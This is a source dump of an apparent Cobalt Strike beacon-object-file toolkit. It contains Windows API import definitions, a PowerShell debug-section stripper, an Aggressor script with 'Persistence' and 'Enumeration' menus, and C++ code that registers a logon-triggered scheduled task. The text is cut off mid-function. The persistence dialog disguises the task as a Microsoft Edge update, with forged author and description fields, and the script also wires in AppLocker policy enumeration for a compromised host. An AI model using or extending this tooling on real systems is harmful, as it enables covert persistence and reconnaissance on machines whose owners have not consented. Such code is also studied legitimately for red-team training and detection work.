| DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle); 44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); 45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen); 46 | 47 | 48 | /* Memory */ 49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t); 53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t); 54 | 55 | 56 | /* Process */ 57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); 61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process); 62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead); 63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); 65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); 66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize); 67 | 68 | 69 | /* GetLast Error */ 70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID); 71 | 72 | 73 | /* Directories */ 74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR); 75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName); 77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR); 78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath); 79 | 80 | 81 | /* strings */ 82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch); 83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int); 84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR); 85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR); 86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t); 87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...); 88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...); 89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list); 90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR); 91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2); 92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2); 93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2); 94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); 95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString); 96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2); 97 | 98 | 99 | /* RPC */ 100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String); 101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid); 102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid); 103 | 104 | 105 | /* Random */ 106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial); 107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand(); 108 | 109 | 110 | /* DateTime */ 111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time); 112 | 113 | 114 | /* SystemInfo */ 115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); 116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature); 117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); 118 | 119 | 120 | 121 | 122 | 123 | 124 | #ifdef __cplusplus 125 | } 126 | #endif 127 | 128 | 129 | /* helper macros */ 130 | 131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */ 132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */ 133 | #define ZeroMemory(address, size) memset(address, 0, size); 134 | 135 | 136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/ 137 | 138 | /* COM */ 139 | #define CLSIDFromString OLE32$CLSIDFromString 140 | #define CoCreateInstance OLE32$CoCreateInstance 141 | #define CoInitializeEx OLE32$CoInitializeEx 142 | #define CoUninitialize OLE32$CoUninitialize 143 | #define IIDFromString OLE32$IIDFromString 144 | #define CoInitialize OLE32$CoInitialize 145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx 146 | #define SysAllocString OleAut32$SysAllocString 147 | #define VariantInit OLEAUT32$VariantInit 148 | #define CoInitialize OLE32$CoInitialize 149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity 150 | 151 | /* memory */ 152 | #define HeapFree KERNEL32$HeapFree 153 | #define HeapAlloc KERNEL32$HeapAlloc 154 | #define HeapReAlloc KERNEL32$HeapReAlloc 155 | #define memcpy MSVCRT$memcpy 156 | #define memset MSVCRT$memset 157 | 158 | 159 | /* process */ 160 | #define GetProcessHeap KERNEL32$GetProcessHeap 161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW 162 | #define OpenProcess KERNEL32$OpenProcess 163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx 164 | #define GetProcessId KERNEL32$GetProcessId 165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory 166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess 167 | #define Sleep KERNEL32$Sleep 168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW 169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW 170 | 171 | 172 | /* debug */ 173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64 174 | #define SymInitializeW DBGHELP$SymInitializeW 175 | #define SymCleanup DBGHELP$SymCleanup 176 | 177 | 178 | /* filesystem */ 179 | #define CreateFileA KERNEL32$CreateFileA 180 | #define SetFilePointer KERNEL32$SetFilePointer 181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx 182 | #define WriteFile KERNEL32$WriteFile 183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx 184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW 185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW 186 | #define VerQueryValueW VERSION$VerQueryValueW 187 | 188 | /* error */ 189 | #define GetLastError KERNEL32$GetLastError 190 | 191 | 192 | /* registry */ 193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA 194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA 195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA 196 | #define RegSetValueExA ADVAPI32$RegSetValueExA 197 | 198 | 199 | /* directory */ 200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA 201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA 202 | #define MoveFileA KERNEL32$MoveFileA 203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA 204 | #define PathFileExistsA SHLWAPI$PathFileExistsA 205 | 206 | 207 | /* strings */ 208 | #define strchr MSVCRT$strchr 209 | #define strcat_s MSVCRT$strcat_s 210 | #define strcpy_s MSVCRT$strcpy_s 211 | #define strncpy_s MSVCRT$strncpy_s 212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */ 213 | #define wcslen MSVCRT$wcslen 214 | #define vsnprintf MSVCRT$vsnprintf 215 | #define lstrlenW KERNEL32$lstrlenW 216 | #define lstrcpyW KERNEL32$lstrcpyW 217 | #define strcmp MSVCRT$strcmp 218 | #define lstrcpyA Kernel32$lstrcpyA 219 | #define lstrcatA Kernel32$lstrcatA 220 | #define lstrcpynA Kernel32$lstrcpynA 221 | #define lstrlenW KERNEL32$lstrlenW 222 | #define lstrcpyW KERNEL32$lstrcpyW 223 | #define sprintf MSVCRT$sprintf 224 | 225 | 226 | /* RPC */ 227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA 228 | #define UuidCreate Rpcrt4$UuidCreate 229 | #define UuidToStringA Rpcrt4$UuidToStringA 230 | 231 | 232 | /* Random */ 233 | #define srand MSVCRT$srand 234 | #define rand MSVCRT$rand 235 | 236 | 237 | /* DateTime */ 238 | #define time MSVCRT$time 239 | 240 | 241 | /* SystemInfo */ 242 | #define GetSystemInfo KERNEL32$GetSystemInfo 243 | #define GetUserNameW ADVAPI32$GetUserNameW 244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent 245 | 246 | #else 247 | 248 | #endif 249 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/resources/strip_bof.ps1: -------------------------------------------------------------------------------- 1 | function strip-bof { 2 | <# 3 | .SYNOPSIS 4 | Removes debug symbols from a beacon object file 5 | 6 | Heavily dependent on code by Matthew Graeber (@mattifestation) 7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1 8 | Author: Yasser Alhazmi (#yas_o_h) 9 | License: BSD 3-Clause 10 | 11 | .PARAMETER Path 12 | 13 | Specifies a path to one or more object file locations. 14 | 15 | .EXAMPLE 16 | 17 | C:\PS>strip-bof -Path main.obj 18 | 19 | #> 20 | 21 | [CmdletBinding()] Param ( 22 | [Parameter(Position = 0, Mandatory = $True)] 23 | [ValidateScript({ Test-Path $_ })] 24 | [String] 25 | $Path 26 | ) 27 | 28 | 29 | $Code = @' 30 | using System; 31 | using System.IO; 32 | using System.Text; 33 | 34 | namespace COFF 35 | { 36 | 37 | 38 | public class SECTION_HEADER 39 | { 40 | public string Name; 41 | public uint PhysicalAddress; 42 | public uint VirtualSize; 43 | public uint VirtualAddress; 44 | public uint SizeOfRawData; 45 | public uint PointerToRawData; 46 | public uint PointerToRelocations; 47 | public uint PointerToLinenumbers; 48 | public ushort NumberOfRelocations; 49 | public ushort NumberOfLinenumbers; 50 | public uint Characteristics; 51 | public Byte[] RawData; 52 | 53 | public SECTION_HEADER(BinaryReader br) 54 | { 55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; 56 | this.PhysicalAddress = br.ReadUInt32(); 57 | this.VirtualSize = this.PhysicalAddress; 58 | this.VirtualAddress = br.ReadUInt32(); 59 | this.SizeOfRawData = br.ReadUInt32(); 60 | this.PointerToRawData = br.ReadUInt32(); 61 | this.PointerToRelocations = br.ReadUInt32(); 62 | this.PointerToLinenumbers = br.ReadUInt32(); 63 | this.NumberOfRelocations = br.ReadUInt16(); 64 | this.NumberOfLinenumbers = br.ReadUInt16(); 65 | this.Characteristics = br.ReadUInt32(); 66 | } 67 | } 68 | 69 | 70 | public class HEADER 71 | { 72 | public ushort Machine; 73 | public ushort NumberOfSections; 74 | public uint TimeDateStamp; 75 | public uint PointerToSymbolTable; 76 | public uint NumberOfSymbols; 77 | public ushort SizeOfOptionalHeader; 78 | public ushort Characteristics; 79 | 80 | public HEADER(BinaryReader br) 81 | { 82 | this.Machine = br.ReadUInt16(); 83 | this.NumberOfSections = br.ReadUInt16(); 84 | this.TimeDateStamp = br.ReadUInt32(); 85 | this.PointerToSymbolTable = br.ReadUInt32(); 86 | this.NumberOfSymbols = br.ReadUInt32(); 87 | this.SizeOfOptionalHeader = br.ReadUInt16(); 88 | this.Characteristics = br.ReadUInt16(); 89 | } 90 | } 91 | } 92 | '@ 93 | 94 | Add-Type -TypeDefinition $Code 95 | Write-Host "enumerating sections..." 96 | try { 97 | $FileStream = [IO.File]::OpenRead($Path) 98 | $BinaryReader = New-Object IO.BinaryReader($FileStream) 99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader) 100 | 101 | # Parse section headers 102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) 103 | 104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) 105 | { 106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) 107 | 108 | if($SectionHeaders[$i].Name.Contains("debug")){ 109 | Write-Host "found debug section.. zeroing it..." 110 | $FileStream.Close(); 111 | $FileStream2 = [IO.File]::OpenWrite($Path) 112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null 113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){ 114 | $FileStream2.WriteByte(0) 115 | } 116 | Write-Host "closing stream..."; 117 | $FileStream2.Close(); 118 | Write-Host "done!"; 119 | return; 120 | } 121 | } 122 | } catch { 123 | Add-Type -AssemblyName PresentationFramework 124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString()); 125 | return; 126 | } 127 | } -------------------------------------------------------------------------------- /examples/demo-bof.cna: -------------------------------------------------------------------------------- 1 | ########################################################## BOF ############################################################ 2 | 3 | ############# 4 | # adapted from TrustedSec! 5 | # $1 beacon 6 | # $2 name of the technique 7 | ############# 8 | sub readbof { 9 | local('$barch $handle $data $args'); 10 | $barch = barch($1); 11 | 12 | # read in the right BOF file 13 | println(script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .obj")); 14 | $handle = openf(script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .obj")); 15 | $data = readb($handle, -1); 16 | closef($handle); 17 | return $data; 18 | } 19 | 20 | ########################################################## schtask ############################################################ 21 | 22 | 23 | sub schtask_callback { 24 | local('$task_name $task_author $task_description $payload_path $parameters') 25 | $bid = $3['bid']; 26 | $task_name = $3['task_name']; 27 | $task_author = $3['task_author']; 28 | $task_description = $3['task_description']; 29 | $payload_path = $3['payload_path']; 30 | $parameters = $3['parameters']; 31 | 32 | 33 | if($payload_path eq ""){ 34 | show_message("the payload path cannot be empty! Exiting..."); 35 | return; 36 | } 37 | 38 | $args = bof_pack($bid, "ZZZZZ", $task_name, $task_author, $task_description, $payload_path, $parameters); 39 | 40 | btask($bid, "Tasked beacon to run scheduled tasks with arguments: \n" . 41 | "\c2[*] task name: " . $task_name . "\n" . 42 | "\c2[*] task author: " . $task_author . "\n" . 43 | "\c2[*] task description: " . $task_description . "\n" . 44 | "\c2[*] payload_path: " . $payload_path . "\n" . 45 | "\c2[*] parameters: " . $parameters 46 | ); 47 | beacon_inline_execute($bid, readbof($bid, "scheduled-tasks"), "go", $args); 48 | } 49 | 50 | 51 | sub dialog_scheduled_tasks{ 52 | local('$dialog'); 53 | 54 | $dialog = dialog("scheduled tasks", 55 | %(bid => $1, task_name => "MicrosoftEdgeUpdateMachineUIA", task_author => "Microsoft Corperation", task_description => "Keeps your Microsoft software up to date. If this task is disabled or stopped, your Microsoft software will not be up to date.", payload_path => "C:\\windows\\system32\\cmd.exe", parameters => "/c notepad.exe"), &schtask_callback); 56 | dialog_description($dialog, "Basic persistence with scheduled tasks, command will run on the current user login"); 57 | drow_text($dialog, "task_name", "Task name: "); 58 | drow_text($dialog, "task_author", "Task author: "); 59 | drow_text($dialog, "task_description", "Task description:" ); 60 | drow_text($dialog, "payload_path", "Payload path: "); 61 | drow_text($dialog, "parameters", "Payload parameters: "); 62 | dbutton_action($dialog, "Launch"); 63 | dialog_show($dialog); 64 | } 65 | 66 | 67 | 68 | ########################################################## applocker ########################################################### 69 | 70 | sub applocker_enum { 71 | beacon_inline_execute($1, readbof($1, "applocker-enumerator"), "go", $args); 72 | } 73 | 74 | 75 | ########################################################## GUI ############################################################# 76 | popup beacon_bottom { 77 | menu "Persistence" { 78 | item "Scheduled Tasks"{ 79 | local('$bid'); 80 | foreach $bid ($1) { 81 | dialog_scheduled_tasks($bid); 82 | } # forearch 83 | } # schtask 84 | } #Persistence menu 85 | 86 | menu "Enumeration" { 87 | item "Applocker Policy" { 88 | local('$bid'); 89 | foreach $bid ($1) { 90 | applocker_enum($bid); 91 | } # forearch 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /examples/example-bof.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31605.320 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "scheduled-tasks", "scheduled-tasks\scheduled-tasks.vcxproj", "{9D519B22-0A27-4CD8-9F64-1E490AD180E4}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "applocker-enumerator", "applocker-enumerator\applocker-enumerator.vcxproj", "{CB51A85D-1A99-41C7-95D9-A393C65D4EA1}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | BOF|x64 = BOF|x64 13 | BOF|x86 = BOF|x86 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x64.ActiveCfg = BOF|x64 21 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x64.Build.0 = BOF|x64 22 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x86.ActiveCfg = BOF|Win32 23 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x86.Build.0 = BOF|Win32 24 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x64.ActiveCfg = Debug|x64 25 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x64.Build.0 = Debug|x64 26 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x86.ActiveCfg = Debug|Win32 27 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x86.Build.0 = Debug|Win32 28 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x64.ActiveCfg = Release|x64 29 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x64.Build.0 = Release|x64 30 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x86.ActiveCfg = Release|Win32 31 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x86.Build.0 = Release|Win32 32 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x64.ActiveCfg = BOF|x64 33 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x64.Build.0 = BOF|x64 34 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x86.ActiveCfg = BOF|Win32 35 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x86.Build.0 = BOF|Win32 36 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x64.ActiveCfg = Debug|x64 37 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x64.Build.0 = Debug|x64 38 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x86.ActiveCfg = Debug|Win32 39 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x86.Build.0 = Debug|Win32 40 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x64.ActiveCfg = Release|x64 41 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x64.Build.0 = Release|x64 42 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x86.ActiveCfg = Release|Win32 43 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x86.Build.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {6FF942F9-422A-4E32-8B53-F9E1313E3F75} 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /examples/scheduled-tasks/Source.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "bofdefs.h" 5 | 6 | 7 | #pragma comment (lib, "taskschd.lib"); 8 | #define UNLEN 256 9 | 10 | 11 | 12 | #pragma region error_handling 13 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) 14 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { 15 | #ifdef BOF 16 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr); 17 | #else 18 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr); 19 | #endif // BOF 20 | 21 | return FALSE; 22 | } 23 | #pragma endregion 24 | 25 | 26 | 27 | BOOL com_init() { 28 | HRESULT hr; 29 | 30 | hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); 31 | if (FAILED(hr)) 32 | return print_error("CoInitializeEx", hr); 33 | 34 | return TRUE; 35 | } 36 | 37 | 38 | BSTR user_get_username() { 39 | 40 | DWORD max_len = UNLEN + 1; 41 | WCHAR username[UNLEN + 1]; 42 | if (!GetUserNameW(username, &max_len)) { 43 | print_error("GetUserNameW", GetLastError()); 44 | return NULL; 45 | } 46 | 47 | return SysAllocString(username); 48 | } 49 | 50 | BOOL task_create(BSTR task_name, BSTR author, BSTR description, BSTR exec_path, BSTR exec_args) { 51 | 52 | HRESULT hr; 53 | CLSID TaskScheduler_CLSID; 54 | 55 | IID ILogonTrigger_IID, IExecAction_IID, ITaskService_IID; 56 | 57 | ITaskService* pService = NULL; 58 | ITaskFolder* pRootFolder = NULL; 59 | ITaskDefinition* pTask = NULL; 60 | IRegistrationInfo* pRegInfo = NULL; 61 | ITaskSettings* pSettings = NULL; 62 | ITriggerCollection* pTriggerCollection = NULL; 63 | ITrigger* pTrigger = NULL; 64 | ILogonTrigger* pLogonTrigger; 65 | IActionCollection* pActionCollection = NULL; 66 | IAction* pAction = NULL; 67 | IExecAction* pExecAction = NULL; 68 | IRegisteredTask* pRegisteredTask = NULL; 69 | 70 | 71 | /* string IIDs */ 72 | wchar_t* szITaskService = L"{2faba4c7-4da9-4013-9697-20cc3fd40f85}"; 73 | wchar_t* szILogonTrigger = L"{72DADE38-FAE4-4b3e-BAF4-5D009AF02B1C}"; 74 | wchar_t* szCLSID_TaskScheduler = L"{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"; 75 | wchar_t* szIExecAction = L"{4c3d624d-fd6b-49a3-b9b7-09cb3cd3f047}"; 76 | 77 | 78 | /* */ 79 | hr = CLSIDFromString(szCLSID_TaskScheduler, &TaskScheduler_CLSID); 80 | if (FAILED(hr)) 81 | { 82 | return print_error("CLSIDFromString szCLSID_TaskScheduler", hr); 83 | } 84 | 85 | IIDFromString(szITaskService, &ITaskService_IID); 86 | IIDFromString(szILogonTrigger, &ILogonTrigger_IID); 87 | IIDFromString(szIExecAction, &IExecAction_IID); 88 | 89 | 90 | 91 | //VARIANT vEmpty = {vEmpty.vt = VT_I4, vEmpty.bVal = 0}; 92 | VARIANT vEmptyString = { vEmptyString.vt = VT_EMPTY}; 93 | 94 | hr = CoCreateInstance(TaskScheduler_CLSID, NULL, CLSCTX_INPROC_SERVER, ITaskService_IID, (LPVOID*)&pService); 95 | if (FAILED(hr)) 96 | return print_error("CoCreateInstance", hr); 97 | 98 | hr = pService->Connect(vEmptyString, vEmptyString, vEmptyString, vEmptyString); 99 | if (FAILED(hr)) { 100 | pService->Release(); 101 | return print_error("pService->Connect", hr); 102 | } 103 | 104 | hr = pService->GetFolder(L"\\", &pRootFolder); 105 | if (FAILED(hr)) { 106 | pService->Release(); 107 | return print_error("pService->GetFolder", hr); 108 | } 109 | 110 | 111 | hr = pService->NewTask(0, &pTask); 112 | pService->Release(); /* not needed anymore */ 113 | 114 | if (FAILED(hr)) { 115 | pRootFolder->Release(); 116 | return print_error("pService->NewTask", hr); 117 | } 118 | 119 | 120 | hr = pTask->get_RegistrationInfo(&pRegInfo); 121 | if (FAILED(hr)) { 122 | pRootFolder->Release(); 123 | pTask->Release(); 124 | return print_error("pTask->get_RegistrationInfo", hr); 125 | } 126 | 127 | 128 | hr = pRegInfo->put_Author(author); 129 | if (FAILED(hr)) { 130 | pRootFolder->Release(); 131 | pTask->Release(); 132 | return print_error("pRegInfo->put_Author", hr); 133 | } 134 | 135 | 136 | hr = pRegInfo->put_Description(description); 137 | if (FAILED(hr)) { 138 | pRootFolder->Release(); 139 | pTask->Release(); 140 | return print_error("pRegInfo->put_Description", hr); 141 | } 142 | 143 | hr = pTask->get_Settings(&pSettings); 144 | if (FAILED(hr)) { 145 | pRootFolder->Release(); 146 | pTask->Release(); 147 | return print_error("pTask->get_Settings", hr); 148 | } 149 | 150 | hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE); 151 | pSettings->Release(); 152 | if (FAILED(hr)) { 153 | pRootFolder->Release(); 154 | pTask->Release(); 155 | return print_error("pSettings->put_StartWhenAvailable", hr); 156 | } 157 | 158 | 159 | hr = pTask->get_Triggers(&pTriggerCollection); 160 | if (FAILED(hr)) { 161 | pRootFolder->Release(); 162 | pTask->Release(); 163 | return print_error("pTask->get_Triggers", hr); 164 | } 165 | 166 | 167 | hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); 168 | pTriggerCollection->Release(); 169 | if (FAILED(hr)) { 170 | pRootFolder->Release(); 171 | pTask->Release(); 172 | return print_error("pTriggerCollection->Create", hr); 173 | } 174 | 175 | 176 | hr = pTrigger->QueryInterface(ILogonTrigger_IID, (LPVOID*)&pLogonTrigger); 177 | pTrigger->Release(); 178 | if (FAILED(hr)) { 179 | pRootFolder->Release(); 180 | pTask->Release(); 181 | return print_error("pTrigger->QueryInterface", hr); 182 | } 183 | 184 | hr = pLogonTrigger->put_Id(L"Trigger 1"); 185 | if (FAILED(hr)) { /* msdn didn't return on failure */ 186 | print_error("pLogonTrigger->put_Id", hr); 187 | } 188 | 189 | hr = pLogonTrigger->put_UserId(user_get_username()); 190 | if (FAILED(hr)) { 191 | pRootFolder->Release(); 192 | pTask->Release(); 193 | return print_error("pTrigger->QueryInterface", hr); 194 | } 195 | 196 | 197 | hr = pTask->get_Actions(&pActionCollection); 198 | if (FAILED(hr)) { 199 | pRootFolder->Release(); 200 | pTask->Release(); 201 | return print_error("pTask->get_Actions", hr); 202 | } 203 | 204 | hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); 205 | pActionCollection->Release(); 206 | if (FAILED(hr)) { 207 | pRootFolder->Release(); 208 | pTask->Release(); 209 | return print_error("pActionCollection->Create", hr); 210 | } 211 | 212 | 213 | pAction->QueryInterface(IExecAction_IID, (LPVOID*)&pExecAction); 214 | pAction->Release(); 215 | if (FAILED(hr)) { 216 | pRootFolder->Release(); 217 | pTask->Release(); 218 | return print_error("pAction->QueryInterface", hr); 219 | } 220 | 221 | 222 | hr = pExecAction->put_Path(exec_path); 223 | if (FAILED(hr)) { 224 